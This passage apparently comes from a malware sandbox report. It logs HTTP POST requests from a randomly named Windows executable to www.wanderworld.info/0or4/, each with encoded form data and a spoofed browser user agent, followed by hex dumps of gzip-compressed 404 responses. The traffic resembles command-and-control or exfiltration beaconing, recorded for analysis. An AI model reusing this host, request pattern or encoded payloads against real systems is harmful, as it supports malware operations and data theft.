                                                                                                                                                                                                      Data Raw: 31 65 63 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 c4 3b 6b 73 9b 48 b6 9f c7 bf a2 4d 6a 1d 98 00 02 f4 34 8a 32 33 9b 49 b6 f6 56 66 9c 8a 93 da ba 15 a7 5c 2d 68 49 24 08 98 06 2c 6b 35 fa ef f7 74 f3 14 6a 3d 2c 25 75 53 89 2c ba cf ab cf fb 34 ce c5 cb cb df 6f 5e 7f fc df f7 6f d0 2c 99 fb af 2e 5e b2 1f c8 c7 c1 74 24 91 40 fb 74 2b a1 88 92 89 f7 38 92 c2 a9 0d 40 49 14 db ad 56 38 8d f4 39 69 05 f1 33 09 79 09 99 c7 4e 18 11 fe 2d 59 46 64 24 31 38 00 8b 9d 19 99 63 3d a4 d3 d6 6f 34 f1 1c 9f 48 88 f1 20 d8 7d 75 f1 d3 cb 39 49 30 72 66 98 c6 24 19 49 9f 3e be d5 06 12 5b f7 bd e0 1b a2 c4 1f 49 11 0d 27 1e c3 9a 81 10 25 d9 e9 3c 9a 72 a2 8f 93 a0 65 9a 52 49 2b c0 73 60 fe e0 91 45 14 d2 44 42 4e 18 24 24 00 da 0b cf 4d 66 23 97 3c 78 0e d1 f8 83 8a bc c0 4b 3c ec 6b b1 83 7d 32 62 54 5e 5e 6a 1a ba 25 98 3a 33 f4 26 98 7a 01 41 37 51 e2 cd bd ff e2 c4 0b 03 34 5e a2 0f 18 44 fb 03 27 33 f4 fe c3 0d d2 4a 85 50 58 9f c3 b2 ee 84 f3 16 d2 34 20 96 78 89 4f 5e bd c7 53 82 fe 0c 13 f4 36 4c 03 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: 1ecc;ksHMj423IVf\-hI$,k5tj=,%uS,4o^o,.^t$@t+8@IV89i3yN-YFd$18c=o4H }u9I0rf$I>[I'%<reRI+s`EDBN$$Mf#<xK<k}2bT^^j%:3&zA7Q4^D'3JPX4 xO^S6L08pEVtQ0kOB*BPVM6~QC#=3fRjn1^d%[{se'e~nPq^_9D;8T)L?(7-'Q=eqt/gQhoORAc {Lv%+q#ixP"r,~pw@T3(`?@8brQ2<}xo:c7^CGpAqyb/>~p;Jf>7<;F-d)~fr|vet[UOH1}s"?3EUAHg<Bx3AB<5$^=s|y$_4_<
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604289055 CEST1236INData Raw: 7d d8 62 49 71 33 f7 a2 2b 8a ff 4a c3 21 7a 4b 88 5b af b6 42 ad 4f 00 a8 25 7d 77 de af c3 f9 1c 22 36 3e 4e 08 27 87 ae 4b 53 98 7a 01 85 32 5c e8 f7 8b 88 cc c3 af de 2d 49 12 2f 98 c6 68 84 56 d2 18 c7 a4 9e 3d ee 5a 77 ad 58 5f b0 e4 7c d7
                                                                                                                                                                                                      Data Ascii: }bIq3+J!zK[BO%}w"6>N'KSz2\-I/hV=ZwX_|/8]kubig<_"?d{S$9r|Sw,y.c5M8^@t%8b,?q[l({j0EdX#G&*KVq
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604302883 CEST448INData Raw: f6 f5 35 f6 fd 31 76 be d5 63 bd 0e 68 ac b7 d4 5a f5 22 82 2d ee b4 62 e1 ff fe 5b 6e 30 05 bb ca 84 9d 84 f7 d3 7f ff 0d 69 5e af 75 d4 bf 24 ac 3d ab 9e 15 9b e8 f9 c0 70 75 05 69 61 91 7f 95 19 5c fe c4 3c a5 84 52 c0 33 e0 af 2c 67 e3 86 ea
                                                                                                                                                                                                      Data Ascii: 51vchZ"-b[n0i^u$=puia\<R3,gN?Em%kYK1hiN?i'o>Z<&}"\/|Q.9!a%FA(z9Yh#;m1F2tJ`5{S}{T!V))oc9#
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604343891 CEST1236INData Raw: c9 93 40 e1 77 7f 98 8e 0e 51 17 e8 88 a3 6c e9 88 ef c5 da 14 7c 82 30 07 cc e8 9c 25 e4 7e 92 a5 64 36 0d c3 a4 38 42 25 26 bf a1 40 df 49 61 4f e5 21 50 1b 87 dd ed 5a 11 f4 54 7f a5 61 52 f8 97 36 0e 93 24 9c 33 4f ca dc ac f0 30 68 f8 6b 8b
                                                                                                                                                                                                      Data Ascii: @wQl|0%~d68B%&@IaO!PZTaR6$3O0hk?'~]1#xQE8,{@53lpL+,;AHTPcm(w&|2IlO\ ?[<Vc@w15>g8*(:bUL&q(|lHV&-
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604351044 CEST1236INData Raw: 66 49 c1 bc b6 2a ce 3d c8 13 03 16 ad 87 58 f3 5c 19 3a e4 40 36 e0 7c 3b 9c 77 c5 77 60 f1 f4 64 99 35 c6 cc de 3d 48 59 83 83 81 49 7c e6 8f d0 ca c1 52 1c ef e7 6e 58 dc 63 4c ab 16 06 66 9b 1b db b4 0e ba d1 dc 73 83 ec ea 7c 1f 0f 15 b4 6a
                                                                                                                                                                                                      Data Ascii: fI*=X\:@6|;ww`d5=HYI|RnXcLfs|j];&Rw|!<}P:>cm[YvUYzH{@:b}:{@= FOnMpRf#ui%$5]FgNa
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604537010 CEST1236INData Raw: 12 4e c9 66 23 1c ae 21 86 2b 44 9c b4 64 70 36 5e 67 fe 1d 48 08 bb fe 27 ad b7 82 ba a8 9c ca 66 6b d5 cc 75 ed 76 af ed 98 96 b3 66 b9 29 6e 2b 0c 46 d7 3e 7d 25 5d 65 ad 6b 58 12 71 9a b5 70 db 51 cb a9 ce 30 c2 a3 a5 e1 50 68 e5 50 d4 ca ea
                                                                                                                                                                                                      Data Ascii: Nf#!+Ddp6^gH'fkuvf)n+F>}%]ekXqpQ0PhPWv\d>R\.`hjEQfecn8%LW!Ck]b%9SG}rp/qgwgUhs<KDL,IGf;d\Q *>.lMUgQ%e??xkd9
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604542971 CEST1236INData Raw: 71 91 c0 e1 1a 0d 45 27 43 41 de ed f2 11 0c 93 0d 4a c6 2d 0c b7 ac e5 39 46 1a 80 ca 63 d8 1e e8 53 40 6a 13 21 1f df c0 9d 68 9e 63 1f 0c 7c 79 4d 52 24 8c 0a 6c a0 97 c8 f9 29 88 f8 15 b9 bf bd 22 3d fb 20 13 9d d0 8d 69 b3 f4 94 4d 8a e8 98
                                                                                                                                                                                                      Data Ascii: qE'CAJ-9FcS@j!hc|yMR$l)"= iM}KgPTq3T4Ia`y7i[~*tMiU#e\vp2,VM4e{>Q0W];+I]i%VA!j 9;c
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604554892 CEST328INData Raw: 8b 63 a3 04 2b 46 06 7f ac 96 7d 97 56 03 6e c3 19 81 aa ff 83 20 dc 33 fa 1d 5b d8 1d c3 ed f7 43 1d a1 b0 c7 d7 b1 65 74 4c 5b b7 01 fd 20 1f b0 b1 0f e9 9d ae a5 ee 01 36 01 97 4d bd 03 69 8e de 06 a4 ed eb 16 14 b6 ec e6 9f b7 54 1c 00 dc b5
                                                                                                                                                                                                      Data Ascii: c+F}Vn 3[CetL[ 6MiT\*,0{]kQk3@zzudAJHBu#8_$jl*v-]>ivT,mF4PnIzr. S|k.>MPOoS
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.606712103 CEST1236INData Raw: a6 48 bf 84 8a 0e 69 ec 8f 9d 91 5b f4 1e 3b 5e 3d a8 39 89 29 c1 66 a3 a9 5c 32 06 ec 9c 0c 3b 52 9a c6 37 82 50 9e ef 95 60 ec d0 aa 30 a6 f0 9b 54 f8 0b c8 25 61 60 d0 a6 4b 77 2e 40 93 0d 30 a2 01 06 36 ac c8 5e 01 06 4a 3e 12 01 20 0e e3 99
                                                                                                                                                                                                      Data Ascii: Hi[;^=9)f\2;R7P`0T%a`Kw.@06^J> 5FmYMv8b9mkl&k=@(a."^6o:zRwRVu'5@5ThZ#/gGB=xbILPwK.m<Y(iHLL6
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.607006073 CEST1110INData Raw: 8b 13 d9 1f 51 02 fc 69 e6 fa 94 1e 78 61 84 27 4d 71 e0 52 7a 80 94 1f 24 58 3a 52 3d 74 1f fc b0 4e 8a e0 41 38 32 32 26 61 94 d6 e5 82 2e 40 41 51 2d 37 b5 dd c8 93 ec 54 2f 58 85 13 af a9 77 1f da 8f f9 b4 f2 68 52 e9 56 af a6 63 1b 7a 45 75
                                                                                                                                                                                                      Data Ascii: Qixa'MqRz$X:R=tNA822&a.@AQ-7T/XwhRVczEuzFt4D{F:_K?ZK6070[m7Z&Sgkl^7hk"+&:)82<R;b4XzHV$$~CL,g_NG= XlA'6HQ


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      34192.168.2.66543251.89.21.214804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:47:02.256480932 CEST799OUTPOST /0or4/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.wanderworld.info
                                                                                                                                                                                                      Origin: http://www.wanderworld.info
                                                                                                                                                                                                      Referer: http://www.wanderworld.info/0or4/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 237
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 47 72 52 66 39 61 48 39 64 62 59 34 35 74 79 48 31 61 6e 59 5a 72 4e 38 7a 5a 4c 7a 47 61 7a 79 4a 5a 4f 33 2f 4c 4b 6c 44 6d 6f 46 4d 51 70 45 56 46 55 34 63 4f 57 4a 63 6f 70 36 76 30 6c 45 73 39 39 6f 55 62 7a 49 74 43 36 78 43 54 45 32 43 46 71 7a 76 73 41 4a 76 6b 32 73 6f 58 6a 6f 52 6b 4c 75 37 64 48 7a 32 31 51 42 58 30 53 36 62 37 2b 49 6f 73 78 74 6f 52 38 35 55 62 69 75 59 35 75 6e 79 78 58 32 41 54 2f 68 69 33 4d 49 46 39 2b 50 35 39 30 4c 47 41 74 43 2f 65 65 73 42 35 66 61 6c 72 2b 4f 32 38 39 48 6a 45 4d 68 33 32 39 73 45 70 31 6f 2b 41 6e 76 41 38 32 76 45 67 2f 70 6b 65 4b 76 74 66 49 4d 6d 59 73 6c 43 65 34 2f 54 34 57 6c 45 72 7a 73 6d 6f 32 44 32 67 3d 3d
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=GrRf9aH9dbY45tyH1anYZrN8zZLzGazyJZO3/LKlDmoFMQpEVFU4cOWJcop6v0lEs99oUbzItC6xCTE2CFqzvsAJvk2soXjoRkLu7dHz21QBX0S6b7+IosxtoR85UbiuY5unyxX2AT/hi3MIF9+P590LGAtC/eesB5falr+O289HjEMh329sEp1o+AnvA82vEg/pkeKvtfIMmYslCe4/T4WlErzsmo2D2g==
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.224760056 CEST1236INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:47:02 GMT
                                                                                                                                                                                                      Server: Apache
                                                                                                                                                                                                      Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                      Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                      X-UA-Compatible: IE=edge
                                                                                                                                                                                                      Link: <https://wanderworld.info/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                      Content-Encoding: gzip
                                                                                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                      Data Raw: 31 65 63 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 c4 3b 6b 73 9b 48 b6 9f c7 bf a2 4d 6a 1d 98 00 02 f4 34 8a 32 33 9b 49 b6 f6 56 66 9c 8a 93 da ba 15 a7 5c 2d 68 49 24 08 98 06 2c 6b 35 fa ef f7 74 f3 14 6a 3d 2c 25 75 53 89 2c ba cf ab cf fb 34 ce c5 cb cb df 6f 5e 7f fc df f7 6f d0 2c 99 fb af 2e 5e b2 1f c8 c7 c1 74 24 91 40 fb 74 2b a1 88 92 89 f7 38 92 c2 a9 0d 40 49 14 db ad 56 38 8d f4 39 69 05 f1 33 09 79 09 99 c7 4e 18 11 fe 2d 59 46 64 24 31 38 00 8b 9d 19 99 63 3d a4 d3 d6 6f 34 f1 1c 9f 48 88 f1 20 d8 7d 75 f1 d3 cb 39 49 30 72 66 98 c6 24 19 49 9f 3e be d5 06 12 5b f7 bd e0 1b a2 c4 1f 49 11 0d 27 1e c3 9a 81 10 25 d9 e9 3c 9a 72 a2 8f 93 a0 65 9a 52 49 2b c0 73 60 fe e0 91 45 14 d2 44 42 4e 18 24 24 00 da 0b cf 4d 66 23 97 3c 78 0e d1 f8 83 8a bc c0 4b 3c ec 6b b1 83 7d 32 62 54 5e 5e 6a 1a ba 25 98 3a 33 f4 26 98 7a 01 41 37 51 e2 cd bd ff e2 c4 0b 03 34 5e a2 0f 18 44 fb 03 27 33 f4 fe c3 0d d2 4a 85 50 58 9f c3 b2 ee 84 f3 16 d2 34 20 96 78 89 4f 5e bd c7 53 82 fe 0c 13 f4 36 4c 03 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: 1ecc;ksHMj423IVf\-hI$,k5tj=,%uS,4o^o,.^t$@t+8@IV89i3yN-YFd$18c=o4H }u9I0rf$I>[I'%<reRI+s`EDBN$$Mf#<xK<k}2bT^^j%:3&zA7Q4^D'3JPX4 xO^S6L08pEVtQ0kOB*BPVM6~QC#=3fRjn1^d%[{se'e~nPq^_9D;8T)L?(7-'Q=eqt/gQhoORAc {Lv%+q#ixP"r,~pw@T3(`?@8brQ2<}xo:c7^CGpAqyb/>~p;Jf>7<;F-d)~fr|vet[UOH1}s"?3EUAHg<Bx3AB<5$^=s|y$_4_<
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.224783897 CEST1236INData Raw: 7d d8 62 49 71 33 f7 a2 2b 8a ff 4a c3 21 7a 4b 88 5b af b6 42 ad 4f 00 a8 25 7d 77 de af c3 f9 1c 22 36 3e 4e 08 27 87 ae 4b 53 98 7a 01 85 32 5c e8 f7 8b 88 cc c3 af de 2d 49 12 2f 98 c6 68 84 56 d2 18 c7 a4 9e 3d ee 5a 77 ad 58 5f b0 e4 7c d7
                                                                                                                                                                                                      Data Ascii: }bIq3+J!zK[BO%}w"6>N'KSz2\-I/hV=ZwX_|/8]kubig<_"?d{S$9r|Sw,y.c5M8^@t%8b,?q[l({j0EdX#G&*KVq
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.225002050 CEST1236INData Raw: f6 f5 35 f6 fd 31 76 be d5 63 bd 0e 68 ac b7 d4 5a f5 22 82 2d ee b4 62 e1 ff fe 5b 6e 30 05 bb ca 84 9d 84 f7 d3 7f ff 0d 69 5e af 75 d4 bf 24 ac 3d ab 9e 15 9b e8 f9 c0 70 75 05 69 61 91 7f 95 19 5c fe c4 3c a5 84 52 c0 33 e0 af 2c 67 e3 86 ea
                                                                                                                                                                                                      Data Ascii: 51vchZ"-b[n0i^u$=puia\<R3,gN?Em%kYK1hiN?i'o>Z<&}"\/|Q.9!a%FA(z9Yh#;m1F2tJ`5{S}{T!V))oc9#
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.225022078 CEST1236INData Raw: 14 fc d4 8b 67 50 d1 d9 0d c1 33 3c 1e 0f 9c a6 80 39 f8 62 06 71 00 30 59 aa 12 c3 44 98 b5 2f e0 bc 0c ae 3f 70 71 5f 0c f7 e0 41 76 83 d0 87 19 fe 99 33 b1 88 45 c4 70 7e 0a 43 73 98 c6 39 02 78 4d 30 cd 64 e8 5d ef 3a 56 03 07 b3 fb 5e 86 e2
                                                                                                                                                                                                      Data Ascii: gP3<9bq0YD/?pq_Av3Ep~Cs9xM0d]:V^w: $Zu}ok>RWJl&GmdM2(@]48em,0-1duT1{WM`;NMWj_6-90Jjl\IZ
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.225068092 CEST1236INData Raw: d5 c5 fe aa fa 95 0f 01 c5 e6 fb 06 91 bc fc 15 c3 09 04 33 44 91 ef b0 f7 0c 27 10 e4 78 02 7a 8f 27 53 7c 14 d1 bc f8 ff ba 38 dd 66 fc 43 ee 85 2f 76 fc f6 59 f9 5b cd 4a 5d 7f 26 bf 81 e7 bf b6 53 fe 57 11 bd 37 ac fd b6 cf ff 01 00 00 ff ff
                                                                                                                                                                                                      Data Ascii: 3D'xz'S|8fC/vY[J]&SW7]oF+,ZI$iAn%8cxDHDSs73bF,7(<!kAH*F0k(HC6b2lcXbPj)Oocw?Qf#F,wXJ6Fo1p+-
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.225080967 CEST1236INData Raw: 64 2d 20 d2 ab d8 87 c7 58 98 fb 34 7f 4a a1 38 07 e2 ea 08 94 64 8d 41 f3 03 85 bd 20 b6 da ad 8f c4 3e cf c9 fe 51 5d 01 78 f3 d3 d9 a9 fe fa 97 ff fe 72 f2 f4 15 1c 69 b8 89 8f c1 db 16 ab a0 82 24 39 46 32 cf f5 70 b6 35 91 a4 63 df 3a 36 91
                                                                                                                                                                                                      Data Ascii: d- X4J8dA >Q]xri$9F2p5c:6|Vc[}^Ti_@l<=^,NV0x%Tk\]4Stv1x#)~jK((ydeCW*Egx2Xf)
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.225095034 CEST776INData Raw: 0f df 2f 62 f1 ae 15 5d 85 c5 db a9 3f 0a 3c d8 b8 32 d2 7e 1c c3 09 1a 47 02 4e e2 15 0e 3f 55 25 9e 71 ee 3d 06 df 63 f0 d7 3e f2 5b 63 b0 65 ef 1a 84 b1 c5 dd d8 69 89 c0 fa 7a 5b 5e 8d cd 6b c0 ab ff 85 c0 ab bf d5 a0 44 74 4c 06 2d 13 2f fd
                                                                                                                                                                                                      Data Ascii: /b]?<2~GN?U%q=c>[ceiz[^kDtL-/z@*'S9G{$G~{$mjNC/A$:63A?S8)2ls-`T|dY[^N]e=*>MV*Q?/F
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.226597071 CEST1236INData Raw: a6 48 bf 84 8a 0e 69 ec 8f 9d 91 5b f4 1e 3b 5e 3d a8 39 89 29 c1 66 a3 a9 5c 32 06 ec 9c 0c 3b 52 9a c6 37 82 50 9e ef 95 60 ec d0 aa 30 a6 f0 9b 54 f8 0b c8 25 61 60 d0 a6 4b 77 2e 40 93 0d 30 a2 01 06 36 ac c8 5e 01 06 4a 3e 12 01 20 0e e3 99
                                                                                                                                                                                                      Data Ascii: Hi[;^=9)f\2;R7P`0T%a`Kw.@06^J> 5FmYMv8b9mkl&k=@(a."^6o:zRwRVu'5@5ThZ#/gGB=xbILPwK.m<Y(iHLL6
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.226798058 CEST1110INData Raw: 8b 13 d9 1f 51 02 fc 69 e6 fa 94 1e 78 61 84 27 4d 71 e0 52 7a 80 94 1f 24 58 3a 52 3d 74 1f fc b0 4e 8a e0 41 38 32 32 26 61 94 d6 e5 82 2e 40 41 51 2d 37 b5 dd c8 93 ec 54 2f 58 85 13 af a9 77 1f da 8f f9 b4 f2 68 52 e9 56 af a6 63 1b 7a 45 75
                                                                                                                                                                                                      Data Ascii: Qixa'MqRz$X:R=tNA822&a.@AQ-7T/XwhRVczEuzFt4D{F:_K?ZK6070[m7Z&Sgkl^7hk"+&:)82<R;b4XzHV$$~CL,g_NG= XlA'6HQ


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      35192.168.2.66543351.89.21.214804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:47:04.804522038 CEST1812OUTPOST /0or4/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.wanderworld.info
                                                                                                                                                                                                      Origin: http://www.wanderworld.info
                                                                                                                                                                                                      Referer: http://www.wanderworld.info/0or4/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 1249
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 47 72 52 66 39 61 48 39 64 62 59 34 35 74 79 48 31 61 6e 59 5a 72 4e 38 7a 5a 4c 7a 47 61 7a 79 4a 5a 4f 33 2f 4c 4b 6c 44 6d 67 46 4d 6a 68 45 56 6a 63 34 47 4f 57 4a 55 49 70 2f 76 30 6b 65 73 35 52 53 55 62 4f 7a 74 48 2b 78 59 78 63 32 4c 52 47 7a 38 4d 41 4a 79 30 32 74 73 58 69 6f 52 6b 37 71 37 64 58 7a 32 31 51 42 58 79 32 36 63 71 2b 49 75 73 78 73 34 42 38 6c 51 62 69 56 59 35 47 52 79 78 44 41 41 6a 66 68 69 58 63 49 44 66 57 50 6a 39 30 4a 48 41 74 61 2f 65 53 7a 42 35 54 38 6c 72 37 70 32 38 4a 48 67 44 4a 33 73 43 4e 53 41 72 30 50 70 44 54 70 41 61 43 44 61 43 44 69 6f 50 47 59 6e 75 49 76 76 39 59 78 4d 64 4d 79 54 37 4c 4c 4f 65 79 46 74 36 76 5a 32 67 38 58 32 53 74 78 49 56 44 4b 6f 42 6d 70 63 4d 70 75 6e 54 62 4b 73 55 64 6b 5a 59 50 52 4c 37 43 56 2f 7a 73 34 38 4c 59 43 58 53 5a 76 39 35 38 51 69 6e 57 33 65 47 77 62 55 39 71 6c 6e 56 76 52 33 30 4b 36 68 45 74 4d 5a 2b 6c 49 35 50 59 4a 51 6d 59 77 68 45 61 30 64 4f 70 33 41 33 6c 62 55 39 36 35 57 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=GrRf9aH9dbY45tyH1anYZrN8zZLzGazyJZO3/LKlDmgFMjhEVjc4GOWJUIp/v0kes5RSUbOztH+xYxc2LRGz8MAJy02tsXioRk7q7dXz21QBXy26cq+Iusxs4B8lQbiVY5GRyxDAAjfhiXcIDfWPj90JHAta/eSzB5T8lr7p28JHgDJ3sCNSAr0PpDTpAaCDaCDioPGYnuIvv9YxMdMyT7LLOeyFt6vZ2g8X2StxIVDKoBmpcMpunTbKsUdkZYPRL7CV/zs48LYCXSZv958QinW3eGwbU9qlnVvR30K6hEtMZ+lI5PYJQmYwhEa0dOp3A3lbU965WFaFo5gai2CvAZoy395SJZG5i1tX8hr0+dThH7PFfRAcFKkwwY9V6vTsC6nTodFHIayR6r/MrwLzsWUNLo50JpVSSzpTfamh/EEgCH/eEM68lrFx/IpFyeZqgNBaHEpHWpEQkiQ0HRwRnFIz8/wW9xjzEY+Kht/wguaM8IiijXCR5aRvZv2Le2TsKBDS1z3nK+lxp1HgyshQQnbE2qnQF7bgRRJS4Bx6xl3qhgYmHgV5rBayFDqttYVtIRkB37vGfGAkSd7a0kyQBnv4mtaDvXzk4bJX8D8DUhE0G6bMpakw69oAZVRswF2i9vu8kmDY/lRtQNqjzptQmeMYkAtX6tt19pXe1vixyGCWE7129R5Fy/yjgLE/zjJ2j+HFxj1kz2UFJxh5DP/PJFeEviJLSAxKjFZmAKykxAKvy2RgWb7rTyQtxtOwQSFe6Hea9DS1kscBpz3U3seeDsBegXu85M1dwSl79mJuzyz1CIW5CQBMm37ir6TxWuUT3yFAOX6GbrZUvqInKalLjUwxXJPloNntyxPvWbB3v5Kl0daMo/K9KA34fdCDssHDi2p+qFo/56Z3CL0QutYxBwBGffWgjyzNBZ7J8UM28ejmtQmDZGFN9XN7OG7lDzVOjrSnMMsiKIFyHOhledzyLbS2boHVLa4swOxulLVWRre [TRUNCATED]
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.746726036 CEST1236INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:47:05 GMT
                                                                                                                                                                                                      Server: Apache
                                                                                                                                                                                                      Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                      Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                      X-UA-Compatible: IE=edge
                                                                                                                                                                                                      Link: <https://wanderworld.info/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                      Content-Encoding: gzip
                                                                                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                      Data Raw: 31 65 63 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 c4 3b 6b 73 9b 48 b6 9f c7 bf a2 4d 6a 1d 98 00 02 f4 34 8a 32 33 9b 49 b6 f6 56 66 9c 8a 93 da ba 15 a7 5c 2d 68 49 24 08 98 06 2c 6b 35 fa ef f7 74 f3 14 6a 3d 2c 25 75 53 89 2c ba cf ab cf fb 34 ce c5 cb cb df 6f 5e 7f fc df f7 6f d0 2c 99 fb af 2e 5e b2 1f c8 c7 c1 74 24 91 40 fb 74 2b a1 88 92 89 f7 38 92 c2 a9 0d 40 49 14 db ad 56 38 8d f4 39 69 05 f1 33 09 79 09 99 c7 4e 18 11 fe 2d 59 46 64 24 31 38 00 8b 9d 19 99 63 3d a4 d3 d6 6f 34 f1 1c 9f 48 88 f1 20 d8 7d 75 f1 d3 cb 39 49 30 72 66 98 c6 24 19 49 9f 3e be d5 06 12 5b f7 bd e0 1b a2 c4 1f 49 11 0d 27 1e c3 9a 81 10 25 d9 e9 3c 9a 72 a2 8f 93 a0 65 9a 52 49 2b c0 73 60 fe e0 91 45 14 d2 44 42 4e 18 24 24 00 da 0b cf 4d 66 23 97 3c 78 0e d1 f8 83 8a bc c0 4b 3c ec 6b b1 83 7d 32 62 54 5e 5e 6a 1a ba 25 98 3a 33 f4 26 98 7a 01 41 37 51 e2 cd bd ff e2 c4 0b 03 34 5e a2 0f 18 44 fb 03 27 33 f4 fe c3 0d d2 4a 85 50 58 9f c3 b2 ee 84 f3 16 d2 34 20 96 78 89 4f 5e bd c7 53 82 fe 0c 13 f4 36 4c 03 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: 1ecc;ksHMj423IVf\-hI$,k5tj=,%uS,4o^o,.^t$@t+8@IV89i3yN-YFd$18c=o4H }u9I0rf$I>[I'%<reRI+s`EDBN$$Mf#<xK<k}2bT^^j%:3&zA7Q4^D'3JPX4 xO^S6L08pEVtQ0kOB*BPVM6~QC#=3fRjn1^d%[{se'e~nPq^_9D;8T)L?(7-'Q=eqt/gQhoORAc {Lv%+q#ixP"r,~pw@T3(`?@8brQ2<}xo:c7^CGpAqyb/>~p;Jf>7<;F-d)~fr|vet[UOH1}s"?3EUAHg<Bx3AB<5$^=s|y$_4_<
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.746762991 CEST1236INData Raw: 7d d8 62 49 71 33 f7 a2 2b 8a ff 4a c3 21 7a 4b 88 5b af b6 42 ad 4f 00 a8 25 7d 77 de af c3 f9 1c 22 36 3e 4e 08 27 87 ae 4b 53 98 7a 01 85 32 5c e8 f7 8b 88 cc c3 af de 2d 49 12 2f 98 c6 68 84 56 d2 18 c7 a4 9e 3d ee 5a 77 ad 58 5f b0 e4 7c d7
                                                                                                                                                                                                      Data Ascii: }bIq3+J!zK[BO%}w"6>N'KSz2\-I/hV=ZwX_|/8]kubig<_"?d{S$9r|Sw,y.c5M8^@t%8b,?q[l({j0EdX#G&*KVq
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.746783018 CEST1236INData Raw: f6 f5 35 f6 fd 31 76 be d5 63 bd 0e 68 ac b7 d4 5a f5 22 82 2d ee b4 62 e1 ff fe 5b 6e 30 05 bb ca 84 9d 84 f7 d3 7f ff 0d 69 5e af 75 d4 bf 24 ac 3d ab 9e 15 9b e8 f9 c0 70 75 05 69 61 91 7f 95 19 5c fe c4 3c a5 84 52 c0 33 e0 af 2c 67 e3 86 ea
                                                                                                                                                                                                      Data Ascii: 51vchZ"-b[n0i^u$=puia\<R3,gN?Em%kYK1hiN?i'o>Z<&}"\/|Q.9!a%FA(z9Yh#;m1F2tJ`5{S}{T!V))oc9#
